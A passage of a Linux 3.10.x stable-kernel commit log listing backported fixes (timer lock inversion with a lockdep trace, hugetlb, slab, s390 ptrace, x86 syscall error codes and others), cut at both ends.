#DF which is an IST vector and thus has its own stack; we then do the fixup in the #DF handler. (Making #GP an IST exception would make the msr_safe functions unsafe in NMI/MC context, and quite possibly have other effects.) Special thanks to: - Andy Lutomirski, for the suggestion of using very small stack slots and copy (as opposed to map) the IRET frame there, and for the suggestion to mark them readonly and let the fault promote to #DF. - Konrad Wilk for paravirt fixup and testing. - Borislav Petkov for testing help and useful comments. Reported-by: Brian Gerst Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Cc: Konrad Rzeszutek Wilk Cc: Borislav Petkov Cc: Andrew Lutomriski Cc: Linus Torvalds Cc: Dirk Hohndel Cc: Arjan van de Ven Cc: comex Cc: Alexander van Heukelum Cc: Boris Ostrovsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53c63bd497edb090171b7ee1411d0f31dc6ffe87 Author: H. Peter Anvin Date: Wed May 21 10:22:59 2014 -0700 Revert "x86-64, modify_ldt: Make support for 16-bit segments a runtime option" commit 7ed6fb9b5a5510e4ef78ab27419184741169978a upstream. This reverts commit fa81511bb0bbb2b1aace3695ce869da9762624ff in preparation of merging in the proper fix (espfix64). Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fc6ae84407b7439d27b58987ee9484986e911979 Author: Jan Kara Date: Fri Aug 1 12:20:02 2014 +0200 timer: Fix lock inversion between hrtimer_bases.lock and scheduler locks commit 504d58745c9ca28d33572e2d8a9990b43e06075d upstream. clockevents_increase_min_delta() calls printk() from under hrtimer_bases.lock. That causes lock inversion on scheduler locks because printk() can call into the scheduler. Lockdep puts it as: ====================================================== [ INFO: possible circular locking dependency detected ] 3.15.0-rc8-06195-g939f04b #2 Not tainted ------------------------------------------------------- trinity-main/74 is trying to acquire lock: (&port_lock_key){-.....}, at: [<811c60be>] serial8250_console_write+0x8c/0x10c but task is already holding lock: (hrtimer_bases.lock){-.-...}, at: [<8103caeb>] hrtimer_try_to_cancel+0x13/0x66 which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #5 (hrtimer_bases.lock){-.-...}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<8103c918>] __hrtimer_start_range_ns+0x1c/0x197 [<8107ec20>] perf_swevent_start_hrtimer.part.41+0x7a/0x85 [<81080792>] task_clock_event_start+0x3a/0x3f [<810807a4>] task_clock_event_add+0xd/0x14 [<8108259a>] event_sched_in+0xb6/0x17a [<810826a2>] group_sched_in+0x44/0x122 [<81082885>] ctx_sched_in.isra.67+0x105/0x11f [<810828e6>] perf_event_sched_in.isra.70+0x47/0x4b [<81082bf6>] __perf_install_in_context+0x8b/0xa3 [<8107eb8e>] remote_function+0x12/0x2a [<8105f5af>] smp_call_function_single+0x2d/0x53 [<8107e17d>] task_function_call+0x30/0x36 [<8107fb82>] perf_install_in_context+0x87/0xbb [<810852c9>] SYSC_perf_event_open+0x5c6/0x701 [<810856f9>] SyS_perf_event_open+0x17/0x19 [<8142f8ee>] syscall_call+0x7/0xb -> #4 (&ctx->lock){......}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f04c>] _raw_spin_lock+0x21/0x30 [<81081df3>] __perf_event_task_sched_out+0x1dc/0x34f [<8142cacc>] __schedule+0x4c6/0x4cb [<8142cae0>] schedule+0xf/0x11 [<8142f9a6>] work_resched+0x5/0x30 -> #3 (&rq->lock){-.-.-.}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f04c>] _raw_spin_lock+0x21/0x30 [<81040873>] __task_rq_lock+0x33/0x3a [<8104184c>] wake_up_new_task+0x25/0xc2 [<8102474b>] do_fork+0x15c/0x2a0 [<810248a9>] kernel_thread+0x1a/0x1f [<814232a2>] rest_init+0x1a/0x10e [<817af949>] start_kernel+0x303/0x308 [<817af2ab>] i386_start_kernel+0x79/0x7d -> #2 (&p->pi_lock){-.-...}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<810413dd>] try_to_wake_up+0x1d/0xd6 [<810414cd>] default_wake_function+0xb/0xd [<810461f3>] __wake_up_common+0x39/0x59 [<81046346>] __wake_up+0x29/0x3b [<811b8733>] tty_wakeup+0x49/0x51 [<811c3568>] uart_write_wakeup+0x17/0x19 [<811c5dc1>] serial8250_tx_chars+0xbc/0xfb [<811c5f28>] serial8250_handle_irq+0x54/0x6a [<811c5f57>] serial8250_default_handle_irq+0x19/0x1c [<811c56d8>] serial8250_interrupt+0x38/0x9e [<810510e7>] handle_irq_event_percpu+0x5f/0x1e2 [<81051296>] handle_irq_event+0x2c/0x43 [<81052cee>] handle_level_irq+0x57/0x80 [<81002a72>] handle_irq+0x46/0x5c [<810027df>] do_IRQ+0x32/0x89 [<8143036e>] common_interrupt+0x2e/0x33 [<8142f23c>] _raw_spin_unlock_irqrestore+0x3f/0x49 [<811c25a4>] uart_start+0x2d/0x32 [<811c2c04>] uart_write+0xc7/0xd6 [<811bc6f6>] n_tty_write+0xb8/0x35e [<811b9beb>] tty_write+0x163/0x1e4 [<811b9cd9>] redirected_tty_write+0x6d/0x75 [<810b6ed6>] vfs_write+0x75/0xb0 [<810b7265>] SyS_write+0x44/0x77 [<8142f8ee>] syscall_call+0x7/0xb -> #1 (&tty->write_wait){-.....}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<81046332>] __wake_up+0x15/0x3b [<811b8733>] tty_wakeup+0x49/0x51 [<811c3568>] uart_write_wakeup+0x17/0x19 [<811c5dc1>] serial8250_tx_chars+0xbc/0xfb [<811c5f28>] serial8250_handle_irq+0x54/0x6a [<811c5f57>] serial8250_default_handle_irq+0x19/0x1c [<811c56d8>] serial8250_interrupt+0x38/0x9e [<810510e7>] handle_irq_event_percpu+0x5f/0x1e2 [<81051296>] handle_irq_event+0x2c/0x43 [<81052cee>] handle_level_irq+0x57/0x80 [<81002a72>] handle_irq+0x46/0x5c [<810027df>] do_IRQ+0x32/0x89 [<8143036e>] common_interrupt+0x2e/0x33 [<8142f23c>] _raw_spin_unlock_irqrestore+0x3f/0x49 [<811c25a4>] uart_start+0x2d/0x32 [<811c2c04>] uart_write+0xc7/0xd6 [<811bc6f6>] n_tty_write+0xb8/0x35e [<811b9beb>] tty_write+0x163/0x1e4 [<811b9cd9>] redirected_tty_write+0x6d/0x75 [<810b6ed6>] vfs_write+0x75/0xb0 [<810b7265>] SyS_write+0x44/0x77 [<8142f8ee>] syscall_call+0x7/0xb -> #0 (&port_lock_key){-.....}: [<8104a62d>] __lock_acquire+0x9ea/0xc6d [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<811c60be>] serial8250_console_write+0x8c/0x10c [<8104e402>] call_console_drivers.constprop.31+0x87/0x118 [<8104f5d5>] console_unlock+0x1d7/0x398 [<8104fb70>] vprintk_emit+0x3da/0x3e4 [<81425f76>] printk+0x17/0x19 [<8105bfa0>] clockevents_program_min_delta+0x104/0x116 [<8105c548>] clockevents_program_event+0xe7/0xf3 [<8105cc1c>] tick_program_event+0x1e/0x23 [<8103c43c>] hrtimer_force_reprogram+0x88/0x8f [<8103c49e>] __remove_hrtimer+0x5b/0x79 [<8103cb21>] hrtimer_try_to_cancel+0x49/0x66 [<8103cb4b>] hrtimer_cancel+0xd/0x18 [<8107f102>] perf_swevent_cancel_hrtimer.part.60+0x2b/0x30 [<81080705>] task_clock_event_stop+0x20/0x64 [<81080756>] task_clock_event_del+0xd/0xf [<81081350>] event_sched_out+0xab/0x11e [<810813e0>] group_sched_out+0x1d/0x66 [<81081682>] ctx_sched_out+0xaf/0xbf [<81081e04>] __perf_event_task_sched_out+0x1ed/0x34f [<8142cacc>] __schedule+0x4c6/0x4cb [<8142cae0>] schedule+0xf/0x11 [<8142f9a6>] work_resched+0x5/0x30 other info that might help us debug this: Chain exists of: &port_lock_key --> &ctx->lock --> hrtimer_bases.lock Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(hrtimer_bases.lock); lock(&ctx->lock); lock(hrtimer_bases.lock); lock(&port_lock_key); *** DEADLOCK *** 4 locks held by trinity-main/74: #0: (&rq->lock){-.-.-.}, at: [<8142c6f3>] __schedule+0xed/0x4cb #1: (&ctx->lock){......}, at: [<81081df3>] __perf_event_task_sched_out+0x1dc/0x34f #2: (hrtimer_bases.lock){-.-...}, at: [<8103caeb>] hrtimer_try_to_cancel+0x13/0x66 #3: (console_lock){+.+...}, at: [<8104fb5d>] vprintk_emit+0x3c7/0x3e4 stack backtrace: CPU: 0 PID: 74 Comm: trinity-main Not tainted 3.15.0-rc8-06195-g939f04b #2 00000000 81c3a310 8b995c14 81426f69 8b995c44 81425a99 8161f671 8161f570 8161f538 8161f559 8161f538 8b995c78 8b142bb0 00000004 8b142fdc 8b142bb0 8b995ca8 8104a62d 8b142fac 000016f2 81c3a310 00000001 00000001 00000003 Call Trace: [<81426f69>] dump_stack+0x16/0x18 [<81425a99>] print_circular_bug+0x18f/0x19c [<8104a62d>] __lock_acquire+0x9ea/0xc6d [<8104a942>] lock_acquire+0x92/0x101 [<811c60be>] ? serial8250_console_write+0x8c/0x10c [<811c6032>] ? wait_for_xmitr+0x76/0x76 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<811c60be>] ? serial8250_console_write+0x8c/0x10c [<811c60be>] serial8250_console_write+0x8c/0x10c [<8104af87>] ? lock_release+0x191/0x223 [<811c6032>] ? wait_for_xmitr+0x76/0x76 [<8104e402>] call_console_drivers.constprop.31+0x87/0x118 [<8104f5d5>] console_unlock+0x1d7/0x398 [<8104fb70>] vprintk_emit+0x3da/0x3e4 [<81425f76>] printk+0x17/0x19 [<8105bfa0>] clockevents_program_min_delta+0x104/0x116 [<8105cc1c>] tick_program_event+0x1e/0x23 [<8103c43c>] hrtimer_force_reprogram+0x88/0x8f [<8103c49e>] __remove_hrtimer+0x5b/0x79 [<8103cb21>] hrtimer_try_to_cancel+0x49/0x66 [<8103cb4b>] hrtimer_cancel+0xd/0x18 [<8107f102>] perf_swevent_cancel_hrtimer.part.60+0x2b/0x30 [<81080705>] task_clock_event_stop+0x20/0x64 [<81080756>] task_clock_event_del+0xd/0xf [<81081350>] event_sched_out+0xab/0x11e [<810813e0>] group_sched_out+0x1d/0x66 [<81081682>] ctx_sched_out+0xaf/0xbf [<81081e04>] __perf_event_task_sched_out+0x1ed/0x34f [<8104416d>] ? __dequeue_entity+0x23/0x27 [<81044505>] ? pick_next_task_fair+0xb1/0x120 [<8142cacc>] __schedule+0x4c6/0x4cb [<81047574>] ? trace_hardirqs_off_caller+0xd7/0x108 [<810475b0>] ? trace_hardirqs_off+0xb/0xd [<81056346>] ? rcu_irq_exit+0x64/0x77 Fix the problem by using printk_deferred() which does not call into the scheduler. Reported-by: Fengguang Wu Signed-off-by: Jan Kara Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f07c1574a2387d3b4996b0c0e67edd4e22a6683e Author: John Stultz Date: Wed Jun 4 16:11:40 2014 -0700 printk: rename printk_sched to printk_deferred commit aac74dc495456412c4130a1167ce4beb6c1f0b38 upstream. After learning we'll need some sort of deferred printk functionality in the timekeeping core, Peter suggested we rename the printk_sched function so it can be reused by needed subsystems. This only changes the function name. No logic changes. Signed-off-by: John Stultz Reviewed-by: Steven Rostedt Cc: Jan Kara Cc: Peter Zijlstra Cc: Jiri Bohac Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16344734edda92b0ad2d9a76f30c27d99d714269 Author: Lars-Peter Clausen Date: Thu Jul 17 16:59:00 2014 +0100 iio: buffer: Fix demux table creation commit 61bd55ce1667809f022be88da77db17add90ea4e upstream. When creating the demux table we need to iterate over the selected scan mask for the buffer to get the samples which should be copied to destination buffer. Right now the code uses the mask which contains all active channels, which means the demux table contains entries which causes it to copy all the samples from source to destination buffer one by one without doing any demuxing. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92c38e3ae05ac6699ddbdb7c6ebe1a89a05ab73e Author: Malcolm Priestley Date: Wed Jul 23 21:35:12 2014 +0100 staging: vt6655: Fix disassociated messages every 10 seconds commit 4aa0abed3a2a11b7d71ad560c1a3e7631c5a31cd upstream. byReAssocCount is incremented every second resulting in disassociated message being send every 10 seconds whether connection or not. byReAssocCount should only advance while eCommandState is in WLAN_ASSOCIATE_WAIT Change existing scope to if condition. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9d5ebb21e883db8e181e436667c0b241b79d5d1 Author: David Rientjes Date: Wed Jul 30 16:08:24 2014 -0700 mm, thp: do not allow thp faults to avoid cpuset restrictions commit b104a35d32025ca740539db2808aa3385d0f30eb upstream. The page allocator relies on __GFP_WAIT to determine if ALLOC_CPUSET should be set in allocflags. ALLOC_CPUSET controls if a page allocation should be restricted only to the set of allowed cpuset mems. Transparent hugepages clears __GFP_WAIT when defrag is disabled to prevent the fault path from using memory compaction or direct reclaim. Thus, it is unfairly able to allocate outside of its cpuset mems restriction as a side-effect. This patch ensures that ALLOC_CPUSET is only cleared when the gfp mask is truly GFP_ATOMIC by verifying it is also not a thp allocation. Signed-off-by: David Rientjes Reported-by: Alex Thorlton Tested-by: Alex Thorlton Cc: Bob Liu Cc: Dave Hansen Cc: Hedi Berriche Cc: Hugh Dickins Cc: Johannes Weiner Cc: Kirill A. Shutemov Cc: Mel Gorman Cc: Rik van Riel Cc: Srivatsa S. Bhat Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4ebbff1b78d402605ef9d6f5766e376a89f7933 Author: James Bottomley Date: Thu Jul 3 19:17:34 2014 +0200 scsi: handle flush errors properly commit 89fb4cd1f717a871ef79fa7debbe840e3225cd54 upstream. Flush commands don't transfer data and thus need to be special cased in the I/O completion handler so that we can propagate errors to the block layer and filesystem. Signed-off-by: James Bottomley Reported-by: Steven Haber Tested-by: Steven Haber Reviewed-by: Martin K. Petersen Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d8e7872a8469e64da6bc4dad95260093b488b6b Author: Alexandre Bounine Date: Wed Jul 30 16:08:26 2014 -0700 rapidio/tsi721_dma: fix failure to obtain transaction descriptor commit 0193ed8225e1a79ed64632106ec3cc81798cb13c upstream. This is a bug fix for the situation when function tsi721_desc_get() fails to obtain a free transaction descriptor. The bug usually results in a memory access crash dump when data transfer scatter-gather list has more entries than size of hardware buffer descriptors ring. This fix ensures that error is properly returned to a caller instead of an invalid entry. This patch is applicable to kernel versions starting from v3.5. Signed-off-by: Alexandre Bounine Cc: Matt Porter Cc: Andre van Herk Cc: Stef van Os Cc: Vinod Koul Cc: Dan Williams Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df255147ae660988b06f992d84dc6f2bf396815d Author: Eliad Peller Date: Thu Jul 17 15:00:56 2014 +0300 cfg80211: fix mic_failure tracing commit 8c26d458394be44e135d1c6bd4557e1c4e1a0535 upstream. tsc can be NULL (mac80211 currently always passes NULL), resulting in NULL-dereference. check before copying it. Signed-off-by: Eliad Peller Signed-off-by: Emmanuel Grumbach Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7966fda3743567b2e4e8566e301d103825d05cd1 Author: Konstantin Khlebnikov Date: Fri Jul 25 09:17:12 2014 +0100 ARM: 8115/1: LPAE: reduce damage caused by idmap to virtual memory layout commit 811a2407a3cf7bbd027fbe92d73416f17485a3d8 upstream. On LPAE, each level 1 (pgd) page table entry maps 1GiB, and the level 2 (pmd) entries map 2MiB. When the identity mapping is created on LPAE, the pgd pointers are copied from the swapper_pg_dir. If we find that we need to modify the contents of a pmd, we allocate a new empty pmd table and insert it into the appropriate 1GB slot, before then filling it with the identity mapping. However, if the 1GB slot covers the kernel lowmem mappings, we obliterate those mappings. When replacing a PMD, first copy the old PMD contents to the new PMD, so that we preserve the existing mappings, particularly the mappings of the kernel itself. [rewrote commit message and added code comment -- rmk] Fixes: ae2de101739c ("ARM: LPAE: Add identity mapping support for the 3-level page table format") Signed-off-by: Konstantin Khlebnikov Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a26c7242e7cf91f9ddec70a4582e94199daca80 Author: Milan Broz Date: Tue Jul 29 18:41:09 2014 +0000 crypto: af_alg - properly label AF_ALG socket commit 4c63f83c2c2e16a13ce274ee678e28246bd33645 upstream. Th AF_ALG socket was missing a security label (e.g. SELinux) which means that socket was in "unlabeled" state. This was recently demonstrated in the cryptsetup package (cryptsetup v1.6.5 and later.) See https://bugzilla.redhat.com/show_bug.cgi?id=1115120 This patch clones the sock's label from the parent sock and resolves the issue (similar to AF_BLUETOOTH protocol family). Signed-off-by: Milan Broz Acked-by: Paul Moore Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b790629825734456583cd60233e590d5f589d90f Author: Greg Kroah-Hartman Date: Thu Jul 31 14:55:39 2014 -0700 Linux 3.10.51 Signed-off-by: Pranav Vashi commit 636aba85037c40ae5951e2027514f06a62619355 Author: Zoltan Kiss Date: Wed Mar 26 22:37:45 2014 +0000 core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors commit 36d5fe6a000790f56039afe26834265db0a3ad4c upstream. skb_zerocopy can copy elements of the frags array between skbs, but it doesn't orphan them. Also, it doesn't handle errors, so this patch takes care of that as well, and modify the callers accordingly. skb_tx_error() is also added to the callers so they will signal the failed delivery towards the creator of the skb. Signed-off-by: Zoltan Kiss Signed-off-by: David S. Miller [bwh: Backported to 3.13: skb_zerocopy() is new in 3.14, but was moved from a static function in nfnetlink_queue. We need to patch that and its caller, but not openvswitch.] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebcb1f6f031b85834fbf831394ff3d7e78f201a2 Author: Michael Brown Date: Thu Jul 10 12:26:20 2014 +0100 x86/efi: Include a .bss section within the PE/COFF headers commit c7fb93ec51d462ec3540a729ba446663c26a0505 upstream. The PE/COFF headers currently describe only the initialised-data portions of the image, and result in no space being allocated for the uninitialised-data portions. Consequently, the EFI boot stub will end up overwriting unexpected areas of memory, with unpredictable results. Fix by including a .bss section in the PE/COFF headers (functionally equivalent to the init_size field in the bzImage header). Signed-off-by: Michael Brown Cc: Thomas Bächler Cc: Josh Boyer Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5161e8a6ffffbc913b9dac4bdd06e0c1e59bbdb Author: Martin Schwidefsky Date: Mon Jun 23 15:29:40 2014 +0200 s390/ptrace: fix PSW mask check commit dab6cf55f81a6e16b8147aed9a843e1691dcd318 upstream. The PSW mask check of the PTRACE_POKEUSR_AREA command is incorrect. The PSW_MASK_USER define contains the PSW_MASK_ASC bits, the ptrace interface accepts all combinations for the address-space-control bits. To protect the kernel space the PSW mask check in ptrace needs to reject the address-space-control bit combination for home space. Fixes CVE-2014-3534 Signed-off-by: Martin Schwidefsky Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfe8690d86f13f18c326078ed573dca627fe928b Author: Naoya Horiguchi Date: Wed Jul 23 14:00:19 2014 -0700 mm: hugetlb: fix copy_hugetlb_page_range() commit 0253d634e0803a8376a0d88efee0bf523d8673f9 upstream. Commit 4a705fef9862 ("hugetlb: fix copy_hugetlb_page_range() to handle migration/hwpoisoned entry") changed the order of huge_ptep_set_wrprotect() and huge_ptep_get(), which leads to breakage in some workloads like hugepage-backed heap allocation via libhugetlbfs. This patch fixes it. The test program for the problem is shown below: $ cat heap.c #include #include #include #define HPS 0x200000 int main() { int i; char *p = malloc(HPS); memset(p, '1', HPS); for (i = 0; i < 5; i++) { if (!fork()) { memset(p, '2', HPS); p = malloc(HPS); memset(p, '3', HPS); free(p); return 0; } } sleep(1); free(p); return 0; } $ export HUGETLB_MORECORE=yes ; export HUGETLB_NO_PREFAULT= ; hugectl --heap ./heap Fixes 4a705fef9862 ("hugetlb: fix copy_hugetlb_page_range() to handle migration/hwpoisoned entry"), so is applicable to -stable kernels which include it. Signed-off-by: Naoya Horiguchi Reported-by: Guillaume Morin Suggested-by: Guillaume Morin Acked-by: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de5d7e1c7ec4ec6b41ae2013c6936e02ff8c61bd Author: Sven Wegener Date: Tue Jul 22 10:26:06 2014 +0200 x86_32, entry: Store badsys error code in %eax commit 8142b215501f8b291a108a202b3a053a265b03dd upstream. Commit 554086d ("x86_32, entry: Do syscall exit work on badsys (CVE-2014-4508)") introduced a regression in the x86_32 syscall entry code, resulting in syscall() not returning proper errors for undefined syscalls on CPUs supporting the sysenter feature. The following code: > int result = syscall(666); > printf("result=%d errno=%d error=%s\n", result, errno, strerror(errno)); results in: > result=666 errno=0 error=Success Obviously, the syscall return value is the called syscall number, but it should have been an ENOSYS error. When run under ptrace it behaves correctly, which makes it hard to debug in the wild: > result=-1 errno=38 error=Function not implemented The %eax register is the return value register. For debugging via ptrace the syscall entry code stores the complete register context on the stack. The badsys handlers only store the ENOSYS error code in the ptrace register set and do not set %eax like a regular syscall handler would. The old resume_userspace call chain contains code that clobbers %eax and it restores %eax from the ptrace registers afterwards. The same goes for the ptrace-enabled call chain. When ptrace is not used, the syscall return value is the passed-in syscall number from the untouched %eax register. Use %eax as the return value register in syscall_badsys and sysenter_badsys, like a real syscall handler does, and have the caller push the value onto the stack for ptrace access. Signed-off-by: Sven Wegener Link: http://lkml.kernel.org/r/alpine.LNX.2.11.1407221022380.31021@titan.int.lan.stealer.net Reviewed-and-tested-by: Andy Lutomirski Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06d9c3ad9d0bc284b165c565e0134f5399fcf634 Author: Guenter Roeck Date: Fri Jul 18 07:31:18 2014 -0700 hwmon: (smsc47m192) Fix temperature limit and vrm write operations commit 043572d5444116b9d9ad8ae763cf069e7accbc30 upstream. Temperature limit clamps are applied after converting the temperature from milli-degrees C to degrees C, so either the clamp limit needs to be specified in degrees C, not milli-degrees C, or clamping must happen before converting to degrees C. Use the latter method to avoid overflows. vrm is an u8, so the written value needs to be limited to [0, 255]. Cc: Axel Lin Signed-off-by: Guenter Roeck Reviewed-by: Jean Delvare Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45a2ba84c376d30cf2b967d9cdeedb3cf0ecb533 Author: John David Anglin Date: Wed Jul 23 19:44:12 2014 -0400 parisc: Remove SA_RESTORER define commit 20dbea494543aefaace874cc3ec93a39b94b1ec4 upstream. The sa_restorer field in struct sigaction is obsolete and no longer in the parisc implementation. However, the core code assumes the field is present if SA_RESTORER is defined. So, the define needs to be removed. Signed-off-by: John David Anglin Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 388c050f0645a62c87fae1e8a8061875d9a7621e Author: Silesh C V Date: Wed Jul 23 13:59:59 2014 -0700 coredump: fix the setting of PF_DUMPCORE commit aed8adb7688d5744cb484226820163af31d2499a upstream. Commit 079148b919d0 ("coredump: factor out the setting of PF_DUMPCORE") cleaned up the setting of PF_DUMPCORE by removing it from all the linux_binfmt->core_dump() and moving it to zap_threads().But this ended up clearing all the previously set flags. This causes issues during core generation when tsk->flags is checked again (eg. for PF_USED_MATH to dump floating point registers). Fix this. Signed-off-by: Silesh C V Acked-by: Oleg Nesterov Cc: Mandeep Singh Baines Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da3f40858120ca6302c6aa993cf4fcea828cbfe Author: Dmitry Torokhov Date: Sat Jul 19 16:30:31 2014 -0700 Input: fix defuzzing logic commit 50c5d36dab930b1f1b1e3348b8608aa8b9ee7610 upstream. We attempt to remove noise from coordinates reported by devices in input_handle_abs_event(), unfortunately, unless we were dropping the event altogether, we were ignoring the adjusted value and were passing on the original value instead. Reviewed-by: Andrew de los Reyes Reviewed-by: Benson Leung Reviewed-by: David Herrmann Reviewed-by: Henrik Rydberg Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56316f14ffe2cb82579f7995f55ee866b22b9415 Author: Mikulas Patocka Date: Tue Mar 4 17:13:47 2014 -0500 slab_common: fix the check for duplicate slab names commit 694617474e33b8603fc76e090ed7d09376514b1a upstream. The patch 3e374919b314f20e2a04f641ebc1093d758f66a4 is supposed to fix the problem where kmem_cache_create incorrectly reports duplicate cache name and fails. The problem is described in the header of that patch. However, the patch doesn't really fix the problem because of these reasons: * the logic to test for debugging is reversed. It was intended to perform the check only if slub debugging is enabled (which implies that caches with the same parameters are not merged). Therefore, there should be #if !defined(CONFIG_SLUB) || defined(CONFIG_SLUB_DEBUG_ON) The current code has the condition reversed and performs the test if debugging is disabled. * slub debugging may be enabled or disabled based on kernel command line, CONFIG_SLUB_DEBUG_ON is just the default settings. Therefore the test based on definition of CONFIG_SLUB_DEBUG_ON is unreliable. This patch fixes the problem by removing the test "!defined(CONFIG_SLUB_DEBUG_ON)". Therefore, duplicate names are never checked if the SLUB allocator is used. Note to stable kernel maintainers: when backporint this patch, please backport also the patch 3e374919b314f20e2a04f641ebc1093d758f66a4. Acked-by: David Rientjes Acked-by: Christoph Lameter Signed-off-by: Mikulas Patocka Signed-off-by: Pekka Enberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fccebb8915c7ddb077a93807d0bbe09e77b48b6 Author: Christoph Lameter Date: Sat Sep 21 21:56:34 2013 +0000 slab_common: Do not check for duplicate slab names commit 3e374919b314f20e2a04f641ebc1093d758f66a4 upstream. SLUB can alias multiple slab kmem_create_requests to one slab cache to save memory and increase the cache hotness. As a result the name of the slab can be stale. Only check the name for duplicates if we are in debug mode where we do not merge multiple caches. This fixes the following problem reported by Jonathan Brassow: The problem with kmem_cache* is this: *) Assume CONFIG_SLUB is set 1) kmem_cache_create(name="foo-a") - creates new kmem_cache structure 2) kmem_cache_create(name="foo-b") - If identical cache characteristics, it will be merged with the previously created cache associated with "foo-a". The cache's refcount will be incremented and an alias will be created via sysfs_slab_alias(). 3) kmem_cache_destroy() - Attempting to destroy cache associated with "foo-a", but instead the refcount is simply decremented. I don't even think the sysfs aliases are ever removed... 4) kmem_cache_create(name="foo-a") - This FAILS because kmem_cache_sanity_check colides with the existing name ("foo-a") associated with the non-removed cache. This is a problem for RAID (specifically dm-raid) because the name used for the kmem_cache_create is ("raid%d-%p", level, mddev). If the cache persists for long enough, the memory address of an old mddev will be reused for a new mddev - causing an identical formulation of the cache name. Even though kmem_cache_destory had long ago been used to delete the old cache, the merging of caches has cause the name and cache of that old instance to be preserved and causes a colision (and thus failure) in kmem_cache_create(). I see this regularly in my testing. Reported-by: Jonathan Brassow Signed-off-by: Christoph Lameter Signed-off-by: Pekka Enberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3f66403daa39248f2ff88afc3cfece7e8041861 Author: Tony Luck Date: Fri Jul 18 11:43:01 2014 -0700 tracing: Fix wraparound problems in "uptime" trace clock commit 58d4e21e50ff3cc57910a8abc20d7e14375d2f61 upstream. The "uptime" trace clock added in: commit 8aacf017b065a805d27467843490c976835eb4a5 tracing: Add "uptime" trace clock that uses jiffies has wraparound problems when the system has been up more than 1 hour 11 minutes and 34 seconds. It converts jiffies to nanoseconds using: (u64)jiffies_to_usecs(jiffy) * 1000ULL but since jiffies_to_usecs() only returns a 32-bit value, it truncates at 2^32 microseconds. An additional problem on 32-bit systems is that the argument is "unsigned long", so fixing the return value only helps until 2^32 jiffies (49.7 days on a HZ=1000 system). Avoid these problems by using jiffies_64 as our basis, and not converting to nanoseconds (we do convert to clock_t because user facing API must not be dependent on internal kernel HZ values). Link: http://lkml.kernel.org/p/99d63c5bfe9b320a3b428d773825a37095bf6a51.1405708254.git.tony.luck@intel.com Fixes: 8aacf017b065 "tracing: Add "uptime" trace clock that uses jiffies" Signed-off-by: Tony Luck Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d28d5b2fc50d34d372c4e7702b5b1c2f643fd20f Author: Tejun Heo Date: Sat Jul 5 18:43:21 2014 -0400 blkcg: don't call into policy draining if root_blkg is already gone commit 0b462c89e31f7eb6789713437eb551833ee16ff3 upstream. While a queue is being destroyed, all the blkgs are destroyed and its ->root_blkg pointer is set to NULL. If someone else starts to drain while the queue is in this state, the following oops happens. NULL pointer dereference at 0000000000000028 IP: [] blk_throtl_drain+0x84/0x230 PGD e4a1067 PUD b773067 PMD 0 Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC Modules linked in: cfq_iosched(-) [last unloaded: cfq_iosched] CPU: 1 PID: 537 Comm: bash Not tainted 3.16.0-rc3-work+ #2 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88000e222250 ti: ffff88000efd4000 task.ti: ffff88000efd4000 